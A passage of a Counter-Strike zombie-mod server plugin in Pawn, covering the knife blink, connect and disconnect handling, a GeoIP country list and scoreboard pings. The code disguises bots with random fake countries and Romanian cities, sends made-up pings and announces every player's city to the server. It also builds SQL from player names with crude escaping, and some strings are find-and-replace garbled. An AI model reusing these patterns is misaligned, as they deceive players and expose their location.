3508 entity_set_aim(id, origin_enemy);
3509
3510 get_speed_vector2(id, enemy, 1000.0, new_velocity)
3511 set_pev(id, pev_velocity, new_velocity);
3512}
3513
3514public OP_Cancel(id)
3515{
3516 g_iInBlink[id] = 0;
3517 g_iEnemy[id] = 0;
3518 if (!g_iCanceled[id])
3519 {
3520 OP_SetBlink(id);
3521 g_iCanceled[id] = 1;
3522 }
3523}
3524
3525public OP_Slash(id)
3526{
3527 set_pev(id, pev_velocity, {0.0,0.0,0.0});
3528
3529 new weaponID = get_user_weapon(id, _, _);
3530
3531 if(weaponID == CSW_KNIFE)
3532 {
3533 new weapon[32]
3534
3535 get_weaponname(weaponID,weapon,31)
3536
3537 new ent = fm_find_ent_by_owner(-1,weapon,id)
3538
3539 if(ent)
3540 {
3541 set_pdata_float(ent,46, 0.0);
3542 set_pdata_float(ent,47, 0.0);
3543 g_iSlash[id] = 1;
3544 g_fLastSlash[id] = get_gametime();
3545 g_iBlinks[id] -= 1;
3546 new name[32];
3547 get_user_name(id,name,31)
3548 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 just used a^4 Knife Blink^1 [^4 %d remaining^1 ]", g_cName[id], g_iBlinks[id]);
3549 }
3550 }
3551}
3552
3553public OP_SetBlink(id)
3554{
3555 new blink = g_iInBlink[id];
3556
3557 if (blink>1)
3558 return;
3559
3560 if (blink)
3561 g_iInBlink[id] += 1;
3562}
3563
3564new const g_countries[][]=
3565{
3566 "N/A",
3567 "Asia/Pacific Region", "Europe",
3568 "Andorra", "United Arab Emirates",
3569 "Afghanistan", "Antigua and Barbuda",
3570 "Anguilla",
3571 "Albania", "Armenia",
3572 "Curacao",
3573 "Angola",
3574 "Antarctica", "Argentina",
3575 "American Samoa", "Austria",
3576 "Australia", "Aruba",
3577 "Azerbaijan",
3578 "Bosnia and Herzegovina", "Barbados",
3579 "Bangladesh",
3580 "Belgium", "Burkina Faso",
3581 "Bulgaria", "Bahrain",
3582 "Burundi", "Benin",
3583 "Bermuda",
3584 "Brunei Darussalam", "Bolivia",
3585 "Brazil",
3586 "Bahamas", "Bhutan",
3587 "Bouvet Island", "Botswana",
3588 "Belarus", "Belize",
3589 "Canada",
3590 "Cocos (Keeling) Islands",
3591 "Congo, The Democratic Republic of the",
3592 "Central African Republic",
3593 "Congo", "Switzerland",
3594 "Cote D'Ivoire", "Cook Islands",
3595 "Chile", "Cameroon",
3596 "China",
3597 "Colombia", "Costa Rica",
3598 "Cuba",
3599 "Cape Verde", "Christmas Island",
3600 "Cyprus", "Czech Republic",
3601 "Germany", "Djibouti",
3602 "Denmark",
3603 "Dominica", "Dominican Republic",
3604 "Algeria",
3605 "Ecuador", "Estonia",
3606 "Egypt", "Western Sahara",
3607 "Eritrea", "Spain",
3608 "Ethiopia",
3609 "Finland", "Fiji",
3610 "Falkland Islands (Malvinas)",
3611 "Micronesia, Federated States of", "Faroe Islands",
3612 "France", "Sint Maarten (Dutch part)",
3613 "Gabon", "United Kingdom",
3614 "Grenada",
3615 "Georgia", "French Guiana",
3616 "Ghana",
3617 "Gibraltar", "Greenland",
3618 "Gambia", "Guinea",
3619 "Guadeloupe", "Equatorial Guinea",
3620 "Greece",
3621 "South Georgia and the South Sandwich Islands","Guatemala",
3622 "Guam",
3623 "Guinea-Bissau", "Guyana",
3624 "Hong Kong",
3625 "Heard Island and McDonald Islands",
3626 "Honduras", "Croatia",
3627 "Haiti",
3628 "Hungary", "Indonesia",
3629 "Ireland",
3630 "Israel", "India",
3631 "British Indian Ocean Territory", "Iraq",
3632 "Iran, Islamic Republic of", "Iceland",
3633 "Italy",
3634 "Jamaica", "Jordan",
3635 "Japan",
3636 "Kenya", "Kyrgyzstan",
3637 "Cambodia", "Kiribati",
3638 "Comoros", "Saint Kitts and Nevis",
3639 "Korea, Democratic People's Republic of", "Korea, Republic of",
3640 "Kuwait",
3641 "Cayman Islands",
3642 "Kazakhstan",
3643 "Lao People's Democratic Republic",
3644 "Lebanon", "Saint Lucia",
3645 "Liechtenstein", "Sri Lanka",
3646 "Liberia",
3647 "Lesotho", "Lithuania",
3648 "Luxembourg",
3649 "Latvia", "Libya",
3650 "Morocco", "Monaco",
3651 "Moldova, Republic of", "Madagascar",
3652 "Marshall Islands", "Macedonia",
3653 "Mali",
3654 "Myanmar",
3655 "Mongolia", "Macau",
3656 "Northern Mariana Islands", "Martinique",
3657 "Mauritania", "Montserrat",
3658 "Malta",
3659 "Mauritius", "Maldives",
3660 "Malawi",
3661 "Mexico", "Malaysia",
3662 "Mozambique", "Namibia",
3663 "New Caledonia", "Niger",
3664 "Norfolk Island",
3665 "Nigeria", "Nicaragua",
3666 "Netherlands",
3667 "Norway", "Nepal",
3668 "Nauru", "Niue",
3669 "New Zealand", "Oman",
3670 "Panama",
3671 "Peru", "French Polynesia",
3672 "Papua New Guinea",
3673 "Philippines", "Pakistan",
3674 "Poland", "Saint Pierre and Miquelon",
3675 "Pitcairn Islands", "Puerto Rico",
3676 "Palestinian Territory", "Portugal",
3677 "Palau",
3678 "Paraguay",
3679 "Qatar", "Reunion",
3680 "Romania", "Russian Federation",
3681 "Rwanda", "Saudi Arabia",
3682 "Solomon Islands", "Seychelles",
3683 "Sudan",
3684 "Sweden",
3685 "Singapore", "Saint Helena",
3686 "Slovenia", "Svalbard and Jan Mayen",
3687 "Slovakia", "Sierra Leone",
3688 "San Marino",
3689 "Senegal", "Somalia",
3690 "Suriname",
3691 "Sao Tome and Principe",
3692 "El Salvador", "Syrian Arab Republic",
3693 "Swaziland", "Turks and Caicos Islands",
3694 "Chad", "French Southern Territories",
3695 "Togo",
3696 "Thailand",
3697 "Tajikistan",
3698 "Tokelau", "Turkmenistan",
3699 "Tunisia", "Tonga",
3700 "Timor-Leste", "Turkey",
3701 "TriniPlayerad and Tobago", "Tuvalu",
3702 "Taiwan",
3703 "Tanzania, United Republic of",
3704 "Ukraine", "Uganda",
3705 "United States Minor Outlying Islands", "United States",
3706 "Uruguay", "Uzbekistan",
3707 "Holy See (Vatican City State)",
3708 "Saint Vincent and the Grenadines",
3709 "Venezuela",
3710 "Virgin Islands, British",
3711 "Virgin Islands, U.S.", "Vietnam",
3712 "Vanuatu", "Wallis and Futuna",
3713 "Samoa", "Yemen",
3714 "Mayotte",
3715 "Serbia", "South Africa",
3716 "Zambia",
3717 "Montenegro", "Zimbabwe",
3718 "Anonymous Proxy", "Satellite ProviPlayerer",
3719 "Other", "Aland Islands",
3720 "Guernsey",
3721 "Isle of Man", "Jersey",
3722 "Saint Barthelemy",
3723 "Saint Martin",
3724 "Bonaire, Saint Eustatius and Saba",
3725 "South Sudan", "Other"
3726};
3727
3728
3729public client_putinserver(iPlayer)
3730{
3731 static iSize;
3732 static queryData[32] = { 0, ... };
3733 g_bKilling[iPlayer] = false;
3734 g_bRanked[iPlayer] = false;
3735 g_bAlive[iPlayer] = false;
3736 g_bNoDamage[iPlayer] = false;
3737 g_bZombie[iPlayer] = false;
3738 g_iPlayerType[iPlayer] = false;
3739 g_bGoldenDeagle[iPlayer] = false;
3740 g_bGolden[iPlayer] = false;
3741 g_bGaveThisRound[iPlayer] = false;
3742 g_iBurningDuration[iPlayer] = 0;
3743 g_iKillsThisRound[iPlayer] = 0;
3744 g_iPacks[iPlayer] = 0;
3745 g_iZombieNextClass[iPlayer] = -1;
3746 TaskReward[iPlayer] = 600;
3747 g_bConnected[iPlayer] = true;
3748 get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
3749 get_user_name(iPlayer, g_cName[iPlayer], 31);
3750 savePoints(iPlayer)
3751 if (!g_bFake[iPlayer])
3752 {
3753 set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
3754 set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
3755
3756 }
3757 set_task(2.0, "Administrator", iPlayer)
3758 set_task(2.0, "AnnounceXa", iPlayer);
3759 client_cmd(iPlayer, "cl_minmodels 0; mp3 stop");
3760 if ((iSize = ArraySize(g_aAmmoData)))
3761 {
3762 static cSavedName[32];
3763 static i;
3764 i = iSize + -1;
3765 while (i > -1)
3766 {
3767 ArrayGetString(g_aNameData, i, cSavedName, 32);
3768 if (equali(cSavedName, g_cName[iPlayer], 0))
3769 {
3770 g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
3771 }
3772 i -= 1;
3773 }
3774 }
3775 if (!g_iPacks[iPlayer])
3776 {
3777 g_iPacks[iPlayer] = 5;
3778 }
3779 get_user_ip(iPlayer, g_ip[iPlayer], charsmax(g_ip[]), 1);
3780 get_user_authid(iPlayer, g_steam[iPlayer], charsmax(g_steam[]));
3781
3782 geoip_country_ex(g_ip[iPlayer], g_country[iPlayer], charsmax(g_country[]));
3783 geoip_city(g_ip[iPlayer], g_city[iPlayer], charsmax(g_city[]));
3784
3785 if (!g_country[iPlayer][0] || containi(g_country[iPlayer], "Err") != -1)
3786 g_country[iPlayer] = "N/A";
3787
3788 if (!g_city[iPlayer][0] || containi(g_city[iPlayer], "Err") != -1)
3789 g_city[iPlayer] = "N/A";
3790
3791 if (is_user_bot(iPlayer) && equali(g_country[iPlayer], "N/A"))
3792 {
3793 new irand = random_num(0, sizeof(g_countries) - 1)
3794
3795 if (random_num(0, 1) == 0)
3796 copy(g_country[iPlayer],charsmax(g_country[]), g_countries[irand])
3797 else
3798 copy(g_country[iPlayer],charsmax(g_country[]), "Romania")
3799
3800 if (equali(g_country[iPlayer], "Romania"))
3801 {
3802 switch(random_num(0, 135))
3803 {
3804 case 0:copy(g_city[iPlayer],charsmax(g_city[]), "Cluj-Napoca")
3805 case 1:copy(g_city[iPlayer],charsmax(g_city[]), "Bucharest")
3806 case 2:copy(g_city[iPlayer],charsmax(g_city[]), "Tecuci")
3807 case 3:copy(g_city[iPlayer],charsmax(g_city[]), "Techirghiol")
3808 case 4:copy(g_city[iPlayer],charsmax(g_city[]), "Dej")
3809 case 5:copy(g_city[iPlayer],charsmax(g_city[]), "Aiud")
3810 case 6:copy(g_city[iPlayer],charsmax(g_city[]), "Tuzla")
3811 case 7:copy(g_city[iPlayer],charsmax(g_city[]), "Agigea")
3812 case 8:copy(g_city[iPlayer],charsmax(g_city[]), "Mangalia")
3813 case 9:copy(g_city[iPlayer],charsmax(g_city[]), "Constanta")
3814 case 10:copy(g_city[iPlayer],charsmax(g_city[]), "Vulcan")
3815 case 11:copy(g_city[iPlayer],charsmax(g_city[]), "Targu Mures")
3816 case 12:copy(g_city[iPlayer],charsmax(g_city[]), "Blaj")
3817 case 13:copy(g_city[iPlayer],charsmax(g_city[]), "Alba Iulia")
3818 case 14:copy(g_city[iPlayer],charsmax(g_city[]), "Sibiu")
3819 case 15:copy(g_city[iPlayer],charsmax(g_city[]), "Brasov")
3820 case 16:copy(g_city[iPlayer],charsmax(g_city[]), "Turnu Măgurele")
3821 case 17:copy(g_city[iPlayer],charsmax(g_city[]), "Arad")
3822 case 18:copy(g_city[iPlayer],charsmax(g_city[]), "Turda")
3823 case 19:copy(g_city[iPlayer],charsmax(g_city[]), "Campia Turzii")
3824 case 20:copy(g_city[iPlayer],charsmax(g_city[]), "Ludus")
3825 case 21:copy(g_city[iPlayer],charsmax(g_city[]), "Medias")
3826 case 22:copy(g_city[iPlayer],charsmax(g_city[]), "Barlad")
3827 case 23:copy(g_city[iPlayer],charsmax(g_city[]), "Marasesti")
3828 case 24:copy(g_city[iPlayer],charsmax(g_city[]), "Ramnicu Sarat")
3829 case 25:copy(g_city[iPlayer],charsmax(g_city[]), "Focsani")
3830 case 26:copy(g_city[iPlayer],charsmax(g_city[]), "București")
3831 case 27:copy(g_city[iPlayer],charsmax(g_city[]), "Cluj-napoca")
3832 case 28:copy(g_city[iPlayer],charsmax(g_city[]), "Mediaș")
3833 case 29:copy(g_city[iPlayer],charsmax(g_city[]), "Câmpia Turzii")
3834 case 30:copy(g_city[iPlayer],charsmax(g_city[]), "Luduș")
3835 case 31:copy(g_city[iPlayer],charsmax(g_city[]), "Constanța")
3836 case 32:copy(g_city[iPlayer],charsmax(g_city[]), "Râmnicu Sărat")
3837 case 33:copy(g_city[iPlayer],charsmax(g_city[]), "Târgu Mureș")
3838 case 34:copy(g_city[iPlayer],charsmax(g_city[]), "Targu Jiu")
3839 case 35:copy(g_city[iPlayer],charsmax(g_city[]), "Târgu Jiu")
3840 case 36:copy(g_city[iPlayer],charsmax(g_city[]), "Bârlad")
3841 case 37:copy(g_city[iPlayer],charsmax(g_city[]), "Turnu Magurele")
3842 case 38:copy(g_city[iPlayer],charsmax(g_city[]), "Covasna")
3843 case 39:copy(g_city[iPlayer],charsmax(g_city[]), "Timisoara")
3844 case 40:copy(g_city[iPlayer],charsmax(g_city[]), "Timișoara")
3845 case 41:copy(g_city[iPlayer],charsmax(g_city[]), "N/A")
3846 case 42:copy(g_city[iPlayer],charsmax(g_city[]), "Mureș")
3847 case 43:copy(g_city[iPlayer],charsmax(g_city[]), "Calafat")
3848 case 44:copy(g_city[iPlayer],charsmax(g_city[]), "Mures")
3849 case 45:copy(g_city[iPlayer],charsmax(g_city[]), "Mures")
3850 case 46:copy(g_city[iPlayer],charsmax(g_city[]), "Focșani")
3851 case 47:copy(g_city[iPlayer],charsmax(g_city[]), "Brașov")
3852 case 48:copy(g_city[iPlayer],charsmax(g_city[]), "Tulcea")
3853 case 49:copy(g_city[iPlayer],charsmax(g_city[]), "Vama Veche")
3854 case 50:copy(g_city[iPlayer],charsmax(g_city[]), "Sebeș")
3855 case 51:copy(g_city[iPlayer],charsmax(g_city[]), "Sebes")
3856 case 52:copy(g_city[iPlayer],charsmax(g_city[]), "Feleacu")
3857 case 53:copy(g_city[iPlayer],charsmax(g_city[]), "Martinesti")
3858 case 54:copy(g_city[iPlayer],charsmax(g_city[]), "Mărtinești")
3859 case 55:copy(g_city[iPlayer],charsmax(g_city[]), "Craiova")
3860 case 56:copy(g_city[iPlayer],charsmax(g_city[]), "Pitesti")
3861 case 57:copy(g_city[iPlayer],charsmax(g_city[]), "Pitești")
3862 case 58:copy(g_city[iPlayer],charsmax(g_city[]), "Tarnaveni")
3863 case 59:copy(g_city[iPlayer],charsmax(g_city[]), "Târnăveni")
3864 case 60:copy(g_city[iPlayer],charsmax(g_city[]), "Caransebes")
3865 case 61:copy(g_city[iPlayer],charsmax(g_city[]), "Caransebeș")
3866 case 62:copy(g_city[iPlayer],charsmax(g_city[]), "Miercurea Ciuc")
3867 case 63:copy(g_city[iPlayer],charsmax(g_city[]), "Bucegi")
3868 case 64:copy(g_city[iPlayer],charsmax(g_city[]), "Harghita")
3869 case 65:copy(g_city[iPlayer],charsmax(g_city[]), "Balea")
3870 case 66:copy(g_city[iPlayer],charsmax(g_city[]), "Bâlea")
3871 case 67:copy(g_city[iPlayer],charsmax(g_city[]), "Vaslui")
3872 case 68:copy(g_city[iPlayer],charsmax(g_city[]), "Botosani")
3873 case 69:copy(g_city[iPlayer],charsmax(g_city[]), "Botoșani")
3874 case 70:copy(g_city[iPlayer],charsmax(g_city[]), "Iasi")
3875 case 71:copy(g_city[iPlayer],charsmax(g_city[]), "Iași")
3876 case 72:copy(g_city[iPlayer],charsmax(g_city[]), "Galati")
3877 case 73:copy(g_city[iPlayer],charsmax(g_city[]), "Galați")
3878 case 74:copy(g_city[iPlayer],charsmax(g_city[]), "Ploiesti")
3879 case 75:copy(g_city[iPlayer],charsmax(g_city[]), "Ploiești")
3880 case 76:copy(g_city[iPlayer],charsmax(g_city[]), "Oradea")
3881 case 77:copy(g_city[iPlayer],charsmax(g_city[]), "Braila")
3882 case 78:copy(g_city[iPlayer],charsmax(g_city[]), "Brăila")
3883 case 79:copy(g_city[iPlayer],charsmax(g_city[]), "Bacau")
3884 case 80:copy(g_city[iPlayer],charsmax(g_city[]), "Bacău")
3885 case 81:copy(g_city[iPlayer],charsmax(g_city[]), "Baia Mare")
3886 case 82:copy(g_city[iPlayer],charsmax(g_city[]), "Buzau")
3887 case 83:copy(g_city[iPlayer],charsmax(g_city[]), "Buzău")
3888 case 84:copy(g_city[iPlayer],charsmax(g_city[]), "Satu Mare")
3889 case 85:copy(g_city[iPlayer],charsmax(g_city[]), "Râmnicu Vâlcea")
3890 case 86:copy(g_city[iPlayer],charsmax(g_city[]), "Ramnicu Valcea")
3891 case 87:copy(g_city[iPlayer],charsmax(g_city[]), "Suceava")
3892 case 88:copy(g_city[iPlayer],charsmax(g_city[]), "Piatra Neamt")
3893 case 89:copy(g_city[iPlayer],charsmax(g_city[]), "Piatra Neamț")
3894 case 90:copy(g_city[iPlayer],charsmax(g_city[]), "Targoviste")
3895 case 91:copy(g_city[iPlayer],charsmax(g_city[]), "Târgoviște")
3896 case 92:copy(g_city[iPlayer],charsmax(g_city[]), "Bistrita")
3897 case 93:copy(g_city[iPlayer],charsmax(g_city[]), "Bistrița")
3898 case 94:copy(g_city[iPlayer],charsmax(g_city[]), "Resita")
3899 case 95:copy(g_city[iPlayer],charsmax(g_city[]), "Reșița")
3900 case 96:copy(g_city[iPlayer],charsmax(g_city[]), "Slatina")
3901 case 97:copy(g_city[iPlayer],charsmax(g_city[]), "Calarasi")
3902 case 98:copy(g_city[iPlayer],charsmax(g_city[]), "Călărași")
3903 case 99:copy(g_city[iPlayer],charsmax(g_city[]), "Giurgiu")
3904 case 100:copy(g_city[iPlayer],charsmax(g_city[]), "Deva")
3905 case 101:copy(g_city[iPlayer],charsmax(g_city[]), "Hunedoara")
3906 case 102:copy(g_city[iPlayer],charsmax(g_city[]), "Zalau")
3907 case 103:copy(g_city[iPlayer],charsmax(g_city[]), "Zalău")
3908 case 104:copy(g_city[iPlayer],charsmax(g_city[]), "Sfantu Gheorghe")
3909 case 105:copy(g_city[iPlayer],charsmax(g_city[]), "Sfântu Gheorghe")
3910 case 106:copy(g_city[iPlayer],charsmax(g_city[]), "Roman")
3911 case 107:copy(g_city[iPlayer],charsmax(g_city[]), "Slobozia")
3912 case 108:copy(g_city[iPlayer],charsmax(g_city[]), "Alexandria")
3913 case 109:copy(g_city[iPlayer],charsmax(g_city[]), "Voluntari")
3914 case 110:copy(g_city[iPlayer],charsmax(g_city[]), "Lugoj")
3915 case 111:copy(g_city[iPlayer],charsmax(g_city[]), "MedgiPlayeria")
3916 case 112:copy(g_city[iPlayer],charsmax(g_city[]), "Onesti")
3917 case 113:copy(g_city[iPlayer],charsmax(g_city[]), "Onești")
3918 case 114:copy(g_city[iPlayer],charsmax(g_city[]), "Sighetu Marmatiei")
3919 case 115:copy(g_city[iPlayer],charsmax(g_city[]), "Sighetu Marmației")
3920 case 116:copy(g_city[iPlayer],charsmax(g_city[]), "Petrosani")
3921 case 117:copy(g_city[iPlayer],charsmax(g_city[]), "Petroșani")
3922 case 118:copy(g_city[iPlayer],charsmax(g_city[]), "Odorheiu Secuiesc")
3923 case 119:copy(g_city[iPlayer],charsmax(g_city[]), "Pascani")
3924 case 120:copy(g_city[iPlayer],charsmax(g_city[]), "Pașcani")
3925 case 121:copy(g_city[iPlayer],charsmax(g_city[]), "Reghin")
3926 case 122:copy(g_city[iPlayer],charsmax(g_city[]), "Navodari")
3927 case 123:copy(g_city[iPlayer],charsmax(g_city[]), "Năvodari")
3928 case 124:copy(g_city[iPlayer],charsmax(g_city[]), "Campina")
3929 case 125:copy(g_city[iPlayer],charsmax(g_city[]), "Câmpina")
3930 case 126:copy(g_city[iPlayer],charsmax(g_city[]), "Mioveni")
3931 case 127:copy(g_city[iPlayer],charsmax(g_city[]), "Campulung")
3932 case 128:copy(g_city[iPlayer],charsmax(g_city[]), "Câmpulung")
3933 case 129:copy(g_city[iPlayer],charsmax(g_city[]), "Caracal")
3934 case 130:copy(g_city[iPlayer],charsmax(g_city[]), "Sacele")
3935 case 131:copy(g_city[iPlayer],charsmax(g_city[]), "Săcele")
3936 case 132:copy(g_city[iPlayer],charsmax(g_city[]), "Fagaras")
3937 case 133:copy(g_city[iPlayer],charsmax(g_city[]), "Făgăraș")
3938 case 134:copy(g_city[iPlayer],charsmax(g_city[]), "Fetești")
3939 case 135:copy(g_city[iPlayer],charsmax(g_city[]), "Fetesti")
3940 }
3941 }
3942
3943 if (equali(g_country[iPlayer], "Algeria"))
3944 {
3945 switch(random_num(0, 2))
3946 {
3947 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Constantine");
3948 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "Ain-defla");
3949 case 2:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3950 }
3951 }
3952
3953 if (equali(g_country[iPlayer], "Italy"))
3954 {
3955 switch(random_num(0, 2))
3956 {
3957 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Naples");
3958 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "Rome");
3959 case 2:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3960 }
3961 }
3962
3963 if (equali(g_country[iPlayer], "Japan"))
3964 {
3965 switch(random_num(0, 2))
3966 {
3967 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Tokyo");
3968 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "Kyoto");
3969 case 2:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3970 }
3971 }
3972
3973 if (equali(g_country[iPlayer], "Venezuela"))
3974 {
3975 switch(random_num(0, 1))
3976 {
3977 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Caracas");
3978 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3979 }
3980 }
3981 }
3982 if (isValidPlayer(iPlayer) && is_user_bot(iPlayer) == 0 && is_user_hltv(iPlayer) == 0)
3983 {
3984 resetPlayer(iPlayer);
3985
3986 num_to_str(iPlayer, queryData, charsmax(queryData));
3987
3988 get_user_name(iPlayer, g_Name[iPlayer], charsmax(g_Name[]));
3989 replace_all(g_Name[iPlayer], charsmax(g_Name[]), "`", "*");
3990 replace_all(g_Name[iPlayer], charsmax(g_Name[]), "'", "*");
3991 replace_all(g_Name[iPlayer], charsmax(g_Name[]), "\", "*");
3992
3993 get_user_authid(iPlayer, g_Steam[iPlayer], charsmax(g_Steam[]));
3994 get_user_ip(iPlayer, g_Ip[iPlayer], charsmax(g_Ip[]), 1);
3995
3996 formatex(g_Query, charsmax(g_Query), "SELECT Score, Kills, Deaths, headShots, Time, timeString, \
3997 Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", g_Name[iPlayer]);
3998
3999 SQL_ThreadQuery(g_Tuple, "retrieveOrCreatePlayer", g_Query, queryData, sizeof(queryData));
4000 }
4001}
4002
4003public AnnounceXa(Player)
4004{
4005 if (g_bConnected[Player])
4006 {
4007 new Name[32];
4008 get_user_name(Player, Name, 31);
4009 client_print_color(0, print_team_grey, "^1Player^4 %s^1 connected from [^3%s^1] [^3%s^1]", Name, g_country[Player], g_city[Player]);
4010 }
4011 return 0;
4012}
4013
4014public Administrator(id)
4015{
4016 if (get_user_flags ( id ) & read_flags ( "r" ) )
4017 {
4018 set_dhudmessage(157, 103, 200, 0.02, 0.64, 2, 6.0, 3.0);
4019 show_dhudmessage(id, "You are now Administrator!");
4020 console_print(id,"You are now administrator.");
4021 }
4022}
4023
4024public client_disconnect(iPlayer)
4025{
4026 static iTimeLimit;
4027 iTimeLimit = get_pcvar_num(g_iTimeLimit);
4028 if (iTimeLimit != 4096)
4029 {
4030 if (g_bAlive[iPlayer])
4031 {
4032 CheckLastPlayer(iPlayer);
4033 }
4034 InsertInfo(iPlayer);
4035 ArrayPushString(g_aNameData, g_cName[iPlayer]);
4036 ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
4037 }
4038 remove_task(iPlayer + TASK_TEAM);
4039 remove_task(iPlayer + 50, 0);
4040 remove_task(iPlayer + 100, 0);
4041 remove_task(iPlayer + 150, 0);
4042 remove_task(iPlayer + 250, 0);
4043 remove_task(iPlayer + 200, 0);
4044 remove_task(iPlayer + 300, 0);
4045 remove_task(iPlayer + 850, 0);
4046 remove_task(iPlayer + 350, 0);
4047 remove_task(iPlayer + 400, 0);
4048 remove_task(iPlayer + 500, 0);
4049 remove_task(iPlayer + 450, 0);
4050 if (g_iPlantedMines[iPlayer])
4051 {
4052 Func_RemoveMinesByOwner(iPlayer);
4053 g_iPoints[iPlayer] = 0;
4054 g_iPlantedMines[iPlayer] = 0;
4055 }
4056 g_iTripMines[iPlayer] = 0;
4057 g_fGagTime[iPlayer] = false;
4058 g_iPlanting[iPlayer] = false;
4059 g_iRemoving[iPlayer] = false;
4060 g_bAlive[iPlayer] = false;
4061 g_vip[iPlayer] = false
4062 g_bConnected[iPlayer] = false;
4063 g_bServerSlot[iPlayer] = false;
4064 g_bAdminModel[iPlayer] = false;
4065 g_bDoubleDamage[iPlayer] = false;
4066 g_bTryder[iPlayer] = false;
4067 jumpnum[iPlayer] = 0
4068 dojump[iPlayer] = false
4069 savePoints(iPlayer)
4070 g_iBlinks[iPlayer] = 0;
4071 g_bUnlimitedClip[iPlayer] = 0;
4072 g_iPingOverride[ iPlayer ] = -1;
4073 if (isValidPlayer(iPlayer) && is_user_bot(iPlayer) == 0 && is_user_hltv(iPlayer) == 0)
4074 {
4075 resetPlayer(iPlayer);
4076 if (task_exists(iPlayer + 400))
4077 {
4078 remove_task(iPlayer + 400);
4079 }
4080 }
4081 if (g_bFake[iPlayer])
4082 {
4083 g_bFake[iPlayer] = false;
4084 }
4085 return 0;
4086}
4087
4088public fw_UpdateClientData( id )
4089{
4090 if( !(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
4091 return;
4092
4093 static player, sending;
4094 sending = 0;
4095
4096 for( player = 1; player <= g_iMaxClients; player++ )
4097 {
4098 if( !is_user_connected( player ) )
4099 continue;
4100
4101 switch( sending )
4102 {
4103 case 0:
4104 {
4105 message_begin( MSG_ONE_UNRELIABLE, SVC_PINGS, _, id );
4106 write_byte( ( g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 ) ) );
4107 write_short( g_iArgumentPing[ player ][ 0 ] );
4108 sending++;
4109 }
4110
4111 case 1:
4112 {
4113 write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
4114 write_short( g_iArgumentPing[ player ][ 1 ] );
4115 sending++;
4116 }
4117
4118 case 2:
4119 {
4120 write_byte( ( 4 + 8 * ( player - 1 ) ) );
4121 write_short( g_iArgumentPing[ player ][ 2 ] );
4122 write_byte( 0 );
4123 message_end( );
4124 sending = 0;
4125 }
4126 }
4127 }
4128
4129 if (sending)
4130 {
4131 write_byte( 0 );
4132 message_end( );
4133 }
4134}
4135
4136public calculate_arguments( )
4137{
4138 static player, ping;
4139
4140 for( player = 1; player <= g_iMaxClients; player++ )
4141 {
4142 if( g_iPingOverride[ player ] < 0 )
4143 ping = clamp( g_iPing + random_num( -g_iFlux, g_iFlux ), 0, 4095 );
4144
4145 else
4146 ping = g_iPingOverride[ player ];
4147
4148 for( g_iOffset[ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
4149 {
4150 if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
4151 {
4152 g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
4153 break;
4154 }
4155 }
4156
4157 for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
4158 {
4159 if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
4160 {
4161 g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
4162 break;
4163 }
4164 }
4165
4166 g_iArgumentPing[ player ][ 2 ] = ping;
4167 }
4168}
4169
4170public client_PostThink(id)
4171{
4172 if(!g_bAlive[id] || !g_vip[id] || containi(g_vip_flags[id], "j") == -1)
4173 return
4174
4175 if(dojump[id] == true)
4176 {
4177 new Float:velocity[3]
4178 entity_get_vector(id,EV_VEC_velocity,velocity)
4179 velocity[2] = random_float(265.0, 285.0)
4180 entity_set_vector(id,EV_VEC_velocity,velocity)
4181 dojump[id] = false
4182 }
4183}
4184
4185
4186public _ZombieClasses(iPlayer, iMenu, iItem)
4187{
4188 if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
4189 {
4190 static iChoice;
4191 static iDummy;
4192 static cBuffer[15];
4193 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
4194 iChoice = str_to_num(cBuffer);
4195 g_iZombieNextClass[iPlayer] = iChoice;
4196 AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
4197 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You will be^4 %s^1 after the next infection!", g_cZombieClasses[iChoice]);
4198 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], floatmul(100.0, g_fZombieGravities[iChoice]), floatmul(100.0, g_fZombieKnockbacks[iChoice]), "%");
4199 }
4200 return 0;
4201}
4202
4203public _ExtraItems(iPlayer, iMenu, iItem)
4204{
4205 if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer])
4206 {
4207 static iChoice;
4208 static iDummy;
4209 static cBuffer[3];
4210 menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
4211 iChoice = str_to_num(cBuffer);
4212 switch (iChoice)
4213 {
4214 case 0:
4215 {
4216 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4217 {
